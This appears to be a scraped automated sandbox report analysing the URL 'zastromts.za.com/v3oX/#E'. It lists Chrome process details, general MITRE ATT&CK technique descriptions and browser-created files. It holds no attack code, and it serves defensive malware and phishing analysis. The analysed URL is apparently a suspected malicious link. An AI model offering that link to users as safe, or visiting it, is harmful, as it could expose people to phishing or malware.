Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	11:25:16
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1784,i,11358973275970356452,17358805658181886115,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	11:25:17
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://zastromts.za.com/v3oX/#E"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://zastromts.za.com/v3oX/#E

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
https://zastromts.za.com/v3oX/#E